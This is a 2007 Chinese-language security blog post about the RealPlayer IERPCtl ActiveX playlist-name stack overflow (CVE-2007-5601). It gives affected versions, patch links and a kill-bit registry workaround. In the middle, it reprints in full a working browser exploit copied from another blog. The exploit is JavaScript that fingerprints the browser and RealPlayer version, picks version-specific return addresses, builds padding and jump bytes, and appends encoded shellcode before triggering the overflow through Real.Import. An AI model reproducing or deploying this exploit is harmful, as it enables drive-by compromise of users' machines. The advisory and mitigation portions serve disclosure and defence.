RealPlayer 漏洞挂马已现身江湖

    [多云 November 23, 2007 11:41 | by ]
来自:网络巡警博客
不是今年第一个应用软件漏洞被用来挂马,相信也绝对不是最后一个。RealPlayer 漏洞挂马已经现身江湖,预计可能会出现新的网马风潮。这个于今年10月18日批露的漏洞,源于RealPlayer 播放器中的MPAMedia.dll 提供的数据库组件,在处理播放列表名时存在栈溢出漏洞,可以使用ierpplug.dll提供的IERPCtl ActiveX 控件导入一个特殊的播放列表让RealPlayer读取,病毒作者可以通过构造包含此漏洞触发代码的恶意网页,当用户不小心浏览过该网页时,如果电脑中安装的RealPlayer 播放器版本包含此漏洞,就可以触发这个溢出,导致执行任意代码。
影响版本:RealPlayer 11 Beta
       RealPlayer 10.5
该漏洞CVE数据库信息:CVE-2007-5601
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5601
RealExploit 代码如下:

Highslide JS


Highslide JS


还在10月26日Real公司就已经发布了补丁,
http://service.real.com/realplayer/security/191007_player/en/securitydb.rnx
还有用RealPlayer 播放器的用户赶紧升级吧!
如果使用的是老版本的RealOne Player, RealOne Player v2, or RealPlayer 10 首先应该升级到RealPlayer 10.5 ,然后在使用安全更新。

冷漠PS:在网上找到了 Exploit 来自 宝子茄 Blog


<script language="javascript">
eval("function RealExploit()
{
var user = navigator.userAgent.toLowerCase();
if(user.indexOf("msie 6")==-1&&user.indexOf("msie 7")==-1)
  return;
if(user.indexOf("nt 5.")==-1)
  return;
VulObject = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
try
{
  Real = new ActiveXObject(VulObject);
}catch(error)
{
  return;
}
RealVersion = Real.PlayerProperty("PRODUCTVERSION");
Padding = "";
JmpOver = unescape("%75%06%74%04");
for(i=0;i<32*148;i++)
  Padding += "S";


if(RealVersion.indexOf("6.0.14.") == -1)
{
  if(navigator.userLanguage.toLowerCase() == "zh-cn")
   ret = unescape("%7f%a5%60");
  else if(navigator.userLanguage.toLowerCase() == "en-us")
   ret = unescape("%4f%71%a4%60");
  else
   return;
}
else if(RealVersion == "6.0.14.544")
  ret = unescape("%63%11%08%60");
else if(RealVersion == "6.0.14.550")
  ret = unescape("%63%11%04%60");
else if(RealVersion == "6.0.14.552")
  ret = unescape("%79%31%01%60");
else if(RealVersion == "6.0.14.543")
  ret = unescape("%79%31%09%60");
else if(RealVersion == "6.0.14.536")
  ret = unescape("%51%11%70%63");
else
  return;



if(RealVersion.indexOf("6.0.10.") != -1)
{
  for(i=0;i<4;i++)
   Padding = Padding + JmpOver;
  Padding = Padding + ret;
}
else if(RealVersion.indexOf("6.0.11.") != -1)
{
  for(i=0;i<6;i++)
   Padding = Padding + JmpOver;
  Padding = Padding + ret;
}
else if(RealVersion.indexOf("6.0.12.") != -1)
{
  for(i=0;i<9;i++)
   Padding = Padding + JmpOver;
  Padding = Padding + ret;
}
else if(RealVersion.indexOf("6.0.14.") != -1)
{
  for(i=0;i<10;i++)
   Padding = Padding + JmpOver;
   Padding = Padding + ret;
}

AdjESP = "LLLL\\XXXXXLD";
Shell = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIJKBtnkSEgLnkD4vUT8fczUpVLKQfa04CHuFSJiCyqQnMFSIKtvvomnVtFHfXYbbTTHYQzkTMgsxZ3pjKHoUkyO1eJGqNlKsnQ4S3YMRFnkDL2knkQNELeSIMNkGtlKFckukspuSB2LrMrOpnTnE4RLRLS01S7JclRuVNSUt8PegpEcIPU4vcQPP0ahTLnkaP4LNkppwlNMLKSps8JKS9lKCpUdLMcpcLNkaPWLJ5OOLNbn4NjLzHNdKOyokOmS8ls4K3dltd7LIoN0lUv0MoTv4ZdoBPhhROkOKOYoLKSdWTkLLMSbNZVSYKrsbs3bzKfD0SKOjp1MOONxKNozTNm8scioKOkONcJLUTK3VLQ4qrKOxPMosNkhm2qcHhspKOkO9obrkOXPkXKg9oKO9osXsDT4pp4zvODoE4ea6NPlrLQcu71yrNcWTne3poPmTo2DDqFOprrLDnpecHQuWp";
PayLoad = Padding + AdjESP + Shell;
while(PayLoad.length < 0x8000)
  PayLoad += "YuanGe"; // 汗~袁哥~-.=!
Real.Import("c:\\Program Files\\NetMeeting\\TestSnd.wav", PayLoad,"", 0, 0);
}
RealExploit();")
</script>


关于该漏洞的说明(来自绿盟):
Quotation
RealPlayer ierpplug.dll ActiveX控件播放列表名称栈溢出漏洞
RealPlayer是一款流行的媒体播放器,支持多种媒体格式。

RealPlayer的MPAMedia.dll库所提供的RealPlayer数据库组件在处理播放列表名时存在栈溢出漏洞,远程攻击者可能利用此漏洞控制用户系统。

由于可使用ierpplug.dll所提供的IERPCtl ActiveX控件将本地文件导入到RealPlayer中指定的播放列表,因此如果用户受骗访问了恶意网页并通过IERPCtl ActiveX控件的Import()方式导入了恶意文件的话,就可以触发这个溢出,导致拒绝服务或执行任意指令。

<*来源:Will Dormann
  
  链接:http://www.symantec.com/enterprise/security_response/weblog/2007/10/realplayer_exploit_on_the_loos.h
        http://www.kb.cert.org/vuls/id/871673
        http://service.real.com/realplayer/security/191007_player/en/
        http://secunia.com/advisories/27248/
        http://www.us-cert.gov/cas/techalerts/TA07-297A.html
*>

建议:
--------------------------------------------------------------------------------
临时解决方法:

在IE中禁用IERPCtl ActiveX控件,为以下CLSID设置kill bit:

{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5}

或将以下文本保存为.REG文件并导入:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5}]
"Compatibility Flags"=dword:00000400
Technology | Comments(0) | Trackbacks(0) | Reads(6532)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive